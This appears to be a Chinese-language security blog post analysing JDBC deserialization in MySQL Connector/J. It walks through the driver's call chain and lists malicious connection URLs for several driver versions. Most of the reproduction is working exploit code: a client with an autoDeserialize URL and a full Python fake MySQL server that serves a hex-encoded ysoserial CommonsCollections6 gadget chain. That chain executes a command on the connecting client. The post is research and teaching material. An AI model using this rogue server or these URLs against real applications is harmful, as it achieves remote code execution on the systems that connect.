JDBC反序列化
JDBC反序列化
前置知识
JDBC
JDBC(Java Database Connectivity)是Java提供对数据库进行连接、操作的标准API。Java自身并不会去实现对数据库的连接、查询、更新等操作而是通过抽象出数据库操作的API接口(JDBC)，不同的数据库提供商必须实现JDBC定义的接口从而也就实现了对数据库的一系列操作
简单来讲就是java将一些sql操作封装到了JDBC这个协议里，通过调用JDBC里的各种函数对数据库进行操作。封装也是java的一大特性，JNDI和RMI也一样
JDBC定义了一个叫
java.sql.Driver的接口类负责实现对数据库的连接，所有的数据库驱动包都必须实现这个接口才能够完成数据库的连接操作。java.sql.DriverManager.getConnection(xxx)其实就是间接的调用了java.sql.Driver类的connect方法实现数据库连接的。数据库连接成功后会返回一个叫做java.sql.Connection的数据库连接对象，一切对数据库的查询操作都将依赖于这个Connection对象。
jdbc:driver://127.0.0.1:3307/database?setting1=value1&setting2=value2
拦截器
MySQL拦截器可以捕获和分析MySQL数据库的操作信息，例如查询语句、连接数、慢查询等等。这些拦截器可以通过拦截MySQL的API接口（如MySQL Connector/J, MySQL Connector/C等）来实现。
以ServerStatusDiffInterceptor 为例，它的作用就是在每次查询之前和之后执行SHOW SESSION STATUS查询，然后比较两次查询结果的差异，最终输出一个包含 MySQL 服务器状态数据的报告。这些状态数据包括连接数、每秒查询数等等，可以用于评估查询的性能和优化查询过程
漏洞复现
pom.xml里引入依赖
<dependencies>
<dependency>
<groupId>mysql</groupId>
<artifactId>mysql-connector-java</artifactId>
<version>8.0.19</version>
</dependency>
<dependency>
<groupId>commons-collections</groupId>
<artifactId>commons-collections</artifactId>
<version>3.2.1</version>
</dependency>
</dependencies>
客户端
"com.mysql.jdbc.Driver"也能用，但会提示deprecated
import java.sql.Connection;
import java.sql.DriverManager;
import java.sql.SQLException;
public class JDBCtest {
public static void main(String[] args) throws ClassNotFoundException, SQLException {
Class.forName("com.mysql.cj.jdbc.Driver");
String user = "yso_CommonsCollections6_calc";
String jdbc_url = "jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user="+user;
Connection conn = DriverManager.getConnection(jdbc_url);
conn.close();
}
}
本地用python起一个恶意mysql服务端，其中payload文件即cc6
# coding=utf-8
import socket
import binascii
import os
greeting_data="4a0000000a352e372e31390008000000463b452623342c2d00fff7080200ff811500000000000000000000032851553e5c23502c51366a006d7973716c5f6e61746976655f70617373776f726400"
response_ok_data="0700000200000002000000"
def receive_data(conn):
data = conn.recv(1024)
print("[*] Receiveing the package : {}".format(data))
return str(data).lower()
def send_data(conn,data):
print("[*] Sending the package : {}".format(data))
conn.send(binascii.a2b_hex(data))
def get_payload_content():
#file文件的内容使用ysoserial生成的 使用规则：java -jar ysoserial [Gadget] [command] > payload
file= r'payload'
if os.path.isfile(file):
with open(file, 'rb') as f:
payload_content = str(binascii.b2a_hex(f.read()),encoding='utf-8')
print("open successs")
else:
print("open false")
#calc
payload_content='aced0005737200116a6176612e7574696c2e48617368536574ba44859596b8b7340300007870770c000000023f40000000000001737200346f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6b657976616c75652e546965644d6170456e7472798aadd29b39c11fdb0200024c00036b65797400124c6a6176612f6c616e672f4f626a6563743b4c00036d617074000f4c6a6176612f7574696c2f4d61703b7870740003666f6f7372002a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e6d61702e4c617a794d61706ee594829e7910940300014c0007666163746f727974002c4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436861696e65645472616e73666f726d657230c797ec287a97040200015b000d695472616e73666f726d65727374002d5b4c6f72672f6170616368652f636f6d6d6f6e732f636f6c6c656374696f6e732f5472616e73666f726d65723b78707572002d5b4c6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e5472616e73666f726d65723bbd562af1d83418990200007870000000057372003b6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e436f6e7374616e745472616e73666f726d6572587690114102b1940200014c000969436f6e7374616e7471007e00037870767200116a6176612e6c616e672e52756e74696d65000000000000000000000078707372003a6f72672e6170616368652e636f6d6d6f6e732e636f6c6c656374696f6e732e66756e63746f72732e496e766f6b65725472616e73666f726d657287e8ff6b7b7cce380200035b000569417267737400135b4c6a6176612f6c616e672f4f626a6563743b4c000b694d6574686f644e616d657400124c6a6176612f6c616e672f537472696e673b5b000b69506172616d54797065737400125b4c6a6176612f6c616e672f436c6173733b7870757200135b4c6a6176612e6c616e672e4f626a6563743b90ce589f1073296c02000078700000000274000a67657452756e74696d65757200125b4c6a6176612e6c616e672e436c6173733bab16d7aecbcd5a990200007870000000007400096765744d6574686f647571007e001b00000002767200106a6176612e6c616e672e537472696e67a0f0a4387a3bb34202000078707671007e001b7371007e00137571007e001800000002707571007e001800000000740006696e766f6b657571007e001b00000002767200106a6176612e6c616e672e4f626a656374000000000000000000000078707671007e00187371007e0013757200135b4c6a6176612e6c616e672e537472696e673badd256e7e91d7b4702000078700000000174000463616c63740004657865637571007e001b0000000171007e00207371007e000f737200116a6176612e6c616e672e496e746567657212e2a0a4f781873802000149000576616c7565787200106a6176612e6c616e672e4e756d62657286ac951d0b94e08b020000787000000001737200116a6176612e7574696c2e486173684d61700507dac1c31660d103000246000a6c6f6164466163746f724900097468726573686f6c6478703f4000000000000077080000001000000000787878'
return payload_content
# 主要逻辑
def run():
while 1:
conn, addr = sk.accept()
print("Connection come from {}:{}".format(addr[0],addr[1]))
# 1.先发送第一个 问候报文
send_data(conn,greeting_data)
while True:
# 登录认证过程模拟 1.客户端发送request login报文 2.服务端响应response_ok
receive_data(conn)
send_data(conn,response_ok_data)
#其他过程
data=receive_data(conn)
#查询一些配置信息,其中会发送自己的 版本号
if "session.auto_increment_increment" in data:
_payload='01000001132e00000203646566000000186175746f5f696e6372656d656e745f696e6372656d656e74000c3f001500000008a0000000002a00000303646566000000146368617261637465725f7365745f636c69656e74000c21000c000000fd00001f00002e00000403646566000000186368617261637465725f7365745f636f6e6e656374696f6e000c21000c000000fd00001f00002b00000503646566000000156368617261637465725f7365745f726573756c7473000c21000c000000fd00001f00002a00000603646566000000146368617261637465725f7365745f736572766572000c210012000000fd00001f0000260000070364656600000010636f6c6c6174696f6e5f736572766572000c210033000000fd00001f000022000008036465660000000c696e69745f636f6e6e656374000c210000000000fd00001f0000290000090364656600000013696e7465726163746976655f74696d656f7574000c3f001500000008a0000000001d00000a03646566000000076c6963656e7365000c210009000000fd00001f00002c00000b03646566000000166c6f7765725f636173655f7461626c655f6e616d6573000c3f001500000008a0000000002800000c03646566000000126d61785f616c6c6f7765645f7061636b6574000c3f001500000008a0000000002700000d03646566000000116e65745f77726974655f74696d656f7574000c3f001500000008a0000000002600000e036465660000001071756572795f63616368655f73697a65000c3f001500000008a0000000002600000f036465660000001071756572795f63616368655f74797065000c210009000000fd00001f00001e000010036465660000000873716c5f6d6f6465000c21009b010000fd00001f000026000011036465660000001073797374656d5f74696d655f7a6f6e65000c21001b000000fd00001f00001f000012036465660000000974696d655f7a6f6e65000c210012000000fd00001f00002b00001303646566000000157472616e73616374696f6e5f69736f6c6174696f6e000c21002d000000fd00001f000022000014036465660000000c776169745f74696d656f7574000c3f001500000008a000000000020100150131047574663804757466380475746638066c6174696e31116c6174696e315f737765646973685f6369000532383830300347504c013107343139343330340236300731303438353736034f4646894f4e4c595f46554c4c5f47524f55505f42592c5354524943545f5452414e535f5441424c45532c4e4f5f5a45524f5f494e5f444154452c4e4f5f5a45524f5f444154452c4552524f525f464f525f4449564953494f4e5f42595f5a45524f2c4e4f5f4155544f5f4352454154455f555345522c4e4f5f454e47494e455f535542535449545554494f4e0cd6d0b9fab1ead7bccab1bce4062b30383a30300f52455045415441424c452d5245414405323838303007000016fe000002000000'
send_data(conn,_payload)
data=receive_data(conn)
elif "show warnings" in data:
_payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f000059000005075761726e696e6704313238374b27404071756572795f63616368655f73697a6527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e59000006075761726e696e6704313238374b27404071756572795f63616368655f7479706527206973206465707265636174656420616e642077696c6c2062652072656d6f76656420696e2061206675747572652072656c656173652e07000007fe000002000000'
send_data(conn, _payload)
data = receive_data(conn)
if "set names" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "set character_set_results" in data:
send_data(conn, response_ok_data)
data = receive_data(conn)
if "show session status" in data:
mysql_data = '0100000102'
mysql_data += '1a000002036465660001630163016301630c3f00ffff0000fc9000000000'
mysql_data += '1a000003036465660001630163016301630c3f00ffff0000fc9000000000'
# 为什么我加了EOF Packet 就无法正常运行呢？？
# 获取payload
payload_content=get_payload_content()
# 计算payload长度
payload_length = str(hex(len(payload_content)//2)).replace('0x', '').zfill(4)
payload_length_hex = payload_length[2:4] + payload_length[0:2]
# 计算数据包长度
data_len = str(hex(len(payload_content)//2 + 4)).replace('0x', '').zfill(6)
data_len_hex = data_len[4:6] + data_len[2:4] + data_len[0:2]
mysql_data += data_len_hex + '04' + 'fbfc'+ payload_length_hex
mysql_data += str(payload_content)
mysql_data += '07000005fe000022000100'
send_data(conn, mysql_data)
data = receive_data(conn)
if "show warnings" in data:
payload = '01000001031b00000203646566000000054c6576656c000c210015000000fd01001f00001a0000030364656600000004436f6465000c3f000400000003a1000000001d00000403646566000000074d657373616765000c210000060000fd01001f00006d000005044e6f74650431313035625175657279202753484f572053455353494f4e20535441545553272072657772697474656e20746f202773656c6563742069642c6f626a2066726f6d2063657368692e6f626a73272062792061207175657279207265777269746520706c7567696e07000006fe000002000000'
send_data(conn, payload)
break
if __name__ == '__main__':
HOST ='0.0.0.0'
PORT = 3307
sk = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
#当socket关闭后，本地端用于该socket的端口号立刻就可以被重用.为了实验的时候不用等待很长时间
sk.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
sk.bind((HOST, PORT))
sk.listen(1)
print("start fake mysql server listening on {}:{}".format(HOST,PORT))
run()
成功执行
原理
简单理解一下，当使用JDBC连接mysql时，会有对某几个查询语句的结果进行反序列化readObject处理。如果我们可以控制JDBC连接时的参数，就可以引导目标连接恶意mysql服务器，进而实现rce。其中两条可以被利用的查询语句有SHOW SESSION STATUS和SHOW COLLATION
网上的分析都是正向的，这里尝试反向分析一下，由于有些源码看不懂所以不保证对
最终的触发点在ResultSetImpl.getObject里，这部分的大意是判断从mysql传来的数据类型并作出对应处理，如果是BLOB类型且autoDeserialize参数为true就会执行反序列化，此外this.thisRow.getNull(columnIndexMinusOne)要为false
寻找getObject的用处，发现在ServerStatusDiffInterceptor.populateMapWithSessionStatusValues中客户端对mysql执行SHOW SESSION STATUS，将接收到的消息送入getObject中处理
跟下来，发现只需要NativeSession.execSQL就能满足要求，但这里有几个注意的地方，在后面会单独分析
- 其实postProcess和preProces都可以调用目标函数，所以可能会产生多次命令执行（虽然我没有），此处以preProcess为例
- this.queryInterceptors不能为空
- preProcess的调用代码为
interceptor.preProcess，根据inerceptor类型的不同会调用preProcess的不同重载方法，这也造成了不同的payload，按照上述的分析步骤，我们希望interceptor是ServerStatusDiffInterceptor，interceptor也是从this.queryInterceptors中获取的
后面几个就不一一跟进了，基本流程如下，最终需要触发构造函数ConnectionImpl
setAutoCommit(true)--handleAutoCommitDefaults()--initializePropsFromServer()--connectOneTryOnly()--createNewIO()--ConnectionImpl()
之后寻找ConnectionImpl实例化的位置，最终回到建立连接的地方
鉴于NativeSession.queryInterceptors很重要，所以单独找一下赋值的位置，其实就是在ConnectionImpl实例化时一起赋值了，图三大致是从输入的url提取了特定参数
至此我们大概了解了JDBC通过客户端url与mysql建立连接的过程：
- 首先构造恶意JDBC url，这样客户端将JDBC url的信息通过字符串切割得到各种属性实例化一个ConnectImpl。其中也初始化了NativeSession.queryInterceptors，意味着在之后都会选用ServerStatusDiffInterceptor拦截器
- 接着，客户端向恶意mysql服务器建立连接，调用ServerStatusDiffInterceptor.preProcess，发出
show session status - 恶意mysql服务器收到
show session status请求，向客户端发出payload，客户端判断payload是BLOB文件，又因为autoDeserialize为true，所以将其反序列化触发命令执行
"jdbc:mysql://127.0.0.1:3307/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user="+user
不同版本payload
前面也说了，除了ServerStatusDiffInterceptor也可以选用其他的拦截器构造不同的payload。然后由于不同版本的JDBC中同一参数的名字变化也会产生不同payload
ServerStatusDiffInterceptor
8.x
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
6.x
参数名字不同
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor
5.x
还没有cj
jdbc:mysql://x.x.x.x:3306/test?autoDeserialize=true&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor
detectCustomCollations
5.1.29 - 5.1.40
jdbc:mysql://x.x.x.x:3306/test?detectCustomCollations=true&autoDeserialize=true
5.1.28 - 5.1.19
jdbc:mysql://127.0.0.1:3306/test?autoDeserialize=true
总结
漏洞成因是只需autoDeserialize一个参数即可允许反序列化，而且这个参数还是可控的。但想要控制JDBC的连接参数还是挺困难的
写的还是有点啰嗦的，反序列化链那里无非就是不断find usage，然后跟进别人指出可以利用的类中，下次少截几张图
此外还是不太理解autoDeserialize和queryInterceptors具体是怎么传进去的
参考
https://github.com/fnmsd/MySQL_Fake_Server fake_mysql
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